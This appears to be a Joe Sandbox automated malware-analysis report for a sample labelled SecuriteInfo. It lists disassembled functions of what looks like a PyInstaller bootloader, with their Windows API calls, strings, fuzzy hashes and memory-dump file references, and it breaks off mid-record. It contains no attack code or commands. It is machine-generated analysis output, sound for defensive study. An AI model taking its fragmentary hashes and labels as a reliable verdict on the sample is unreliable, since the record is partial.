Failed to extract %s: failed to open archive file!, xrefs: 00007FF7EAD016A2
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF7EAD017DF
malloc, xrefs: 00007FF7EAD01749

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to create symbolic link %s!$Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc
API String ID: 2050909247-1550345328
Opcode ID: 072a8e60094502cab9b96734686b7b67598e91e59fbdaf3113bd79295414d11d
Instruction ID: 268be9953173299050babd1cc5b9ac8576ec22708eb0e55688078a03abb146f7
Opcode Fuzzy Hash: 072a8e60094502cab9b96734686b7b67598e91e59fbdaf3113bd79295414d11d
Instruction Fuzzy Hash: D851AE61A0864792FA10FB6194803B9E3A2FF84798FC445B3EE4C4779ADE3CE545C362

Function 00007FF7EAD08660 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32(?,?,00000000,00007FF7EAD03CBB), ref: 00007FF7EAD08704
GetCurrentProcessId.KERNEL32(?,00000000,00007FF7EAD03CBB), ref: 00007FF7EAD0870A
CreateDirectoryW.KERNELBASE(?,00000000,00007FF7EAD03CBB), ref: 00007FF7EAD0874C

Part of subcall function 00007FF7EAD08830: GetEnvironmentVariableW.KERNEL32(00007FF7EAD0388E), ref: 00007FF7EAD08867
Part of subcall function 00007FF7EAD08830: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF7EAD08889

Part of subcall function 00007FF7EAD18238: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD18251

Part of subcall function 00007FF7EAD02810: MessageBoxW.USER32 ref: 00007FF7EAD028EA

Strings

_MEI%d, xrefs: 00007FF7EAD08712
TMP, xrefs: 00007FF7EAD0869C, 00007FF7EAD087A3
LOADER: failed to set the TMP environment variable., xrefs: 00007FF7EAD086DC
TMP, xrefs: 00007FF7EAD086C2
LOADER: length of teporary directory path exceeds maximum path length!, xrefs: 00007FF7EAD0877E

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: Environment$CreateCurrentDirectoryExpandMessagePathProcessStringsTempVariable_invalid_parameter_noinfo
String ID: LOADER: failed to set the TMP environment variable.$LOADER: length of teporary directory path exceeds maximum path length!$TMP$TMP$_MEI%d
API String ID: 3563477958-1339014028
Opcode ID: 191653d34e5a06968e8282251bef030903df87164e49fe651f79a53b4d97858f
Instruction ID: 3f3a38a82d29616b10cb8db9ac92c9c84d55e9d54d752fc36843bf9f2c64cb85
Opcode Fuzzy Hash: 191653d34e5a06968e8282251bef030903df87164e49fe651f79a53b4d97858f
Instruction Fuzzy Hash: 43419C61A1964244FA11F721A8A53FEA392EF98788FC001B3ED0D477DEDE7CE401C262

Function 00007FF7EAD01210 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 158
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF7EAD0141E
Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF7EAD012BA
1.3.1, xrefs: 00007FF7EAD01249
Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF7EAD012EF
Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF7EAD01276
malloc, xrefs: 00007FF7EAD012C1, 00007FF7EAD012F6

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: CurrentProcess
String ID: 1.3.1$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2050909247-2813020118
Opcode ID: c68ada16c8054f5beab9184a2d33c9fb43cd0d4882f5edf9030f6e60bcef94b6
Instruction ID: 62705e2bbc6e83401a42566eb4fc28e506f6df863e2286ddd92be26972ff1290
Opcode Fuzzy Hash: c68ada16c8054f5beab9184a2d33c9fb43cd0d4882f5edf9030f6e60bcef94b6
Instruction Fuzzy Hash: AB51D362A0864285F620FB21A4903BAA392FF84798FC44176EE4D477DDEE3CE541C722

Function 00007FF7EAD1ED10 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?,?,?,00007FF7EAD1F0AA,?,?,-00000018,00007FF7EAD1AD53,?,?,?,00007FF7EAD1AC4A,?,?,?,00007FF7EAD15F3E), ref: 00007FF7EAD1EE8C
GetProcAddress.KERNEL32(?,?,?,00007FF7EAD1F0AA,?,?,-00000018,00007FF7EAD1AD53,?,?,?,00007FF7EAD1AC4A,?,?,?,00007FF7EAD15F3E), ref: 00007FF7EAD1EE98

Strings

api-ms-, xrefs: 00007FF7EAD1EDD6
ext-ms-, xrefs: 00007FF7EAD1EDE9

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 113d78e4ddfca44ef7199ea688f338981f8b4522c7c5ddaba00381c3941a83e2
Instruction ID: b39e7234e96bca1a87d7e83c421984d7c3d88e8cf35b04d14a611052094d365f
Opcode Fuzzy Hash: 113d78e4ddfca44ef7199ea688f338981f8b4522c7c5ddaba00381c3941a83e2
Instruction Fuzzy Hash: 1941F265B19A1241FB16EB269800B75A399FF59B90FC8857ADD1D8738CEE3CE4058222

Function 00007FF7EAD036B0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(?,00007FF7EAD03804), ref: 00007FF7EAD036E1
GetLastError.KERNEL32(?,00007FF7EAD03804), ref: 00007FF7EAD036EB

Part of subcall function 00007FF7EAD02C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF7EAD03706,?,00007FF7EAD03804), ref: 00007FF7EAD02C9E
Part of subcall function 00007FF7EAD02C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF7EAD03706,?,00007FF7EAD03804), ref: 00007FF7EAD02D63
Part of subcall function 00007FF7EAD02C50: MessageBoxW.USER32 ref: 00007FF7EAD02D99

Strings

\\?\, xrefs: 00007FF7EAD0375A
Failed to resolve full path to executable %ls., xrefs: 00007FF7EAD03739
GetModuleFileNameW, xrefs: 00007FF7EAD036FA
Failed to convert executable path to UTF-8., xrefs: 00007FF7EAD03790
Failed to obtain executable path., xrefs: 00007FF7EAD036F3

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: Message$CurrentErrorFileFormatLastModuleNameProcess
String ID: Failed to convert executable path to UTF-8.$Failed to obtain executable path.$Failed to resolve full path to executable %ls.$GetModuleFileNameW$\\?\
API String ID: 3187769757-2863816727
Opcode ID: 7a7bb6314ef99d1ea6b5a99dff4d55fbb7227be169d5ba9e119ffda366a0a745
Instruction ID: aa58795fd151d1a2addeb85b119a2229fb7102c7a0d362bdb799c6b4eaf65dcc
Opcode Fuzzy Hash: 7a7bb6314ef99d1ea6b5a99dff4d55fbb7227be169d5ba9e119ffda366a0a745
Instruction Fuzzy Hash: 48217F61B1864241FA20F724E8953FAA756FF88358FC042B3E65D825DDEE3CE505C762

Function 00007FF7EAD1BA5C Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD1BE89

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: bd5e670e2ac73c9d5051395424effa1a9c5fa8f9f080fcfac4df12f3bd03b0fb
Instruction ID: be7efa2d6ec71f8b965ffb037162accb55d07a8a9701b2b3a91cd888d3e0b722
Opcode Fuzzy Hash: bd5e670e2ac73c9d5051395424effa1a9c5fa8f9f080fcfac4df12f3bd03b0fb
Instruction Fuzzy Hash: A0C1E472A0C68681F761EB3590407BDBB51FBA1B80FD541B3EA4E07799CE7CE4458722

Function 00007FF7EAD08570 Relevance: 10.6, APIs: 7, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF7EAD08590
OpenProcessToken.ADVAPI32 ref: 00007FF7EAD085A3
GetTokenInformation.KERNELBASE ref: 00007FF7EAD085C8
GetLastError.KERNEL32 ref: 00007FF7EAD085D2
GetTokenInformation.KERNELBASE ref: 00007FF7EAD08612
ConvertSidToStringSidW.ADVAPI32 ref: 00007FF7EAD0862E
CloseHandle.KERNEL32 ref: 00007FF7EAD08646

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: Token$InformationProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID:
API String ID: 995526605-0
Opcode ID: 1c88e2159774aae00215e56fe2a2a719af09135261df6dbcfc7a62e4558c2eb4
Instruction ID: 7a205ca501030bbe37e45ae4147238bd0d51d1dbba501999e9b6e4a0af08ac41
Opcode Fuzzy Hash: 1c88e2159774aae00215e56fe2a2a719af09135261df6dbcfc7a62e4558c2eb4
Instruction Fuzzy Hash: ED216F31A0C64242FB10EB55B58432EE3A5EB817A4FD00276EAAC43BECDEBCD4558721

Function 00007FF7EAD090E0 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7EAD08570: GetCurrentProcess.KERNEL32 ref: 00007FF7EAD08590
Part of subcall function 00007FF7EAD08570: OpenProcessToken.ADVAPI32 ref: 00007FF7EAD085A3
Part of subcall function 00007FF7EAD08570: GetTokenInformation.KERNELBASE ref: 00007FF7EAD085C8
Part of subcall function 00007FF7EAD08570: GetLastError.KERNEL32 ref: 00007FF7EAD085D2
Part of subcall function 00007FF7EAD08570: GetTokenInformation.KERNELBASE ref: 00007FF7EAD08612
Part of subcall function 00007FF7EAD08570: ConvertSidToStringSidW.ADVAPI32 ref: 00007FF7EAD0862E
Part of subcall function 00007FF7EAD08570: CloseHandle.KERNEL32 ref: 00007FF7EAD08646

LocalFree.KERNEL32(?,00007FF7EAD03C55), ref: 00007FF7EAD0916C
LocalFree.KERNEL32(?,00007FF7EAD03C55), ref: 00007FF7EAD09175

Strings

D:(A;;FA;;;%s), xrefs: 00007FF7EAD09157
Security descriptor string length exceeds PYI_PATH_MAX!, xrefs: 00007FF7EAD09183
S-1-3-4, xrefs: 00007FF7EAD09121
D:(A;;FA;;;%s)(A;;FA;;;%s), xrefs: 00007FF7EAD09142

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: Token$FreeInformationLocalProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID: D:(A;;FA;;;%s)$D:(A;;FA;;;%s)(A;;FA;;;%s)$S-1-3-4$Security descriptor string length exceeds PYI_PATH_MAX!
API String ID: 6828938-1529539262
Opcode ID: 5ed7a9ba3e6ce910408607b93085540bd422a8d0f9e00f9f84049ca226c14b37
Instruction ID: 5faf2dcf634453205b20e61b94ecc619cba160dcf0766a63f7d000a4e0d2f3cd
Opcode Fuzzy Hash: 5ed7a9ba3e6ce910408607b93085540bd422a8d0f9e00f9f84049ca226c14b37
Instruction Fuzzy Hash: FF214F21A0864281F610FB20E8593EAA3A6FF94784FC44077EA4D4379ADF3CD945C762

Function 00007FF7EAD1CF60 Relevance: 6.2, APIs: 4, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7EAD1CF4B), ref: 00007FF7EAD1D07C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7EAD1CF4B), ref: 00007FF7EAD1D107

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: a47a8d54e36ced6583969bea4ac316e5fdc1f02f5f342ddc714eca2f45cad1a1
Instruction ID: 2578ef9be3e40082490e357f5b45c89aec39f4200902e0fe636529eaad24ee1a
Opcode Fuzzy Hash: a47a8d54e36ced6583969bea4ac316e5fdc1f02f5f342ddc714eca2f45cad1a1
Instruction Fuzzy Hash: 7F91C472E1865189F760EF7594403BDABA0FF54B88F9441B6DE8E52688CF3CD482C722

Function 00007FF7EAD15628 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD15655
CreateFileW.KERNELBASE ref: 00007FF7EAD15694
CloseHandle.KERNEL32 ref: 00007FF7EAD156C9

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: b1746a8a916bbf96797ffba89da9809a683c49b2a7b1d8f7dd6efe5c63c8eb6a
Instruction ID: d7060ce8004206e8843f8309fcbb555d2b867fba51587e4af50d8cc12d3a0944
Opcode Fuzzy Hash: b1746a8a916bbf96797ffba89da9809a683c49b2a7b1d8f7dd6efe5c63c8eb6a
Instruction Fuzzy Hash: 2741A462D1878283F710EB709554369B360FBA43A4F908376E6AC03AD9DF7CA4E08761

Function 00007FF7EAD0CC3C Relevance: 4.6, APIs: 3, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7EAD0CE0C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF7EAD0CE20

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF7EAD0CC60
__scrt_release_startup_lock.LIBCMT ref: 00007FF7EAD0CCCE
__scrt_get_show_window_mode.LIBCMT ref: 00007FF7EAD0CD21

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
String ID:
API String ID: 3251591375-0
Opcode ID: b3dd18574e8b698ea28c35ed35ed65a6730a16d6ac14c38d0a8ba428da0d66bc
Instruction ID: ecca85b24874862a24e7183fb72d5a99607acda9a7379090796502f01be66a86
Opcode Fuzzy Hash: b3dd18574e8b698ea28c35ed35ed65a6730a16d6ac14c38d0a8ba428da0d66bc
Instruction Fuzzy Hash: A6313520E0810645FA14FB6594913B9AB82EF9178CFC444B7E94E4B2DFDE7CA805C273

Function 00007FF7EAD19A30 Relevance: 4.5, APIs: 3, Instructions: 14COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF7EAD19A2C), ref: 00007FF7EAD19A41
TerminateProcess.KERNEL32(?,?,?,00007FF7EAD19A2C), ref: 00007FF7EAD19A4C
ExitProcess.KERNEL32 ref: 00007FF7EAD19A5B

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 148d460979eed4a43ebbf671c65dc2dc638c0d89c9c01e8e00358d5495882c84
Instruction ID: 953e1ae474dd10bd08b1e3f9289dba08291ef248b42607fb00a3a233c1deb3fa
Opcode Fuzzy Hash: 148d460979eed4a43ebbf671c65dc2dc638c0d89c9c01e8e00358d5495882c84
Instruction Fuzzy Hash: 40D09E20B0870642FB14BB705C552789359EF58B01F9414BAD80B0639BDD7CB94D8332

Function 00007FF7EAD1013C Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD10180
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD10277

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: e80cfa20b6c7ebf2f27a6dba6ddb06cb01cda21135ba71ef9e2cf3b7629ca058
Instruction ID: eec38f99bcf9f54e7f1c3a716ea1f693e33258882375edd9fc26d3db17decd87
Opcode Fuzzy Hash: e80cfa20b6c7ebf2f27a6dba6ddb06cb01cda21135ba71ef9e2cf3b7629ca058
Instruction Fuzzy Hash: 28510561B0924986F728FA7594007BAE381FF64BA4F8A4772DD6C437DDCE3CE5418622

Function 00007FF7EAD1C134 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,?,?,?,00007FF7EAD1C2CD), ref: 00007FF7EAD1C180
GetLastError.KERNEL32(?,?,?,?,?,00007FF7EAD1C2CD), ref: 00007FF7EAD1C18A

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 7d52f85de62641260209e8dbb28c5e1251e01e8bf24b4306ce9dcd9badf2c9c6
Instruction ID: 4c2bb2ce44d08f4f13883e68719424bf672e55fff0495f92f2f6dc96292bc4b6
Opcode Fuzzy Hash: 7d52f85de62641260209e8dbb28c5e1251e01e8bf24b4306ce9dcd9badf2c9c6
Instruction Fuzzy Hash: 1511EF62A08A9281EA20EB25B800269A761EB51FF0F944372EE7D0B7ECCE7CD4508711

Function 00007FF7EAD1A948 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,?,?,00007FF7EAD22D22,?,?,?,00007FF7EAD22D5F,?,?,00000000,00007FF7EAD23225,?,?,?,00007FF7EAD23157), ref: 00007FF7EAD1A95E
GetLastError.KERNEL32(?,?,?,00007FF7EAD22D22,?,?,?,00007FF7EAD22D5F,?,?,00000000,00007FF7EAD23225,?,?,?,00007FF7EAD23157), ref: 00007FF7EAD1A968

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 46e6024f15a2f57ad5ff64688e0fe3cec5898f8577aba2f63b046adc8766ef53
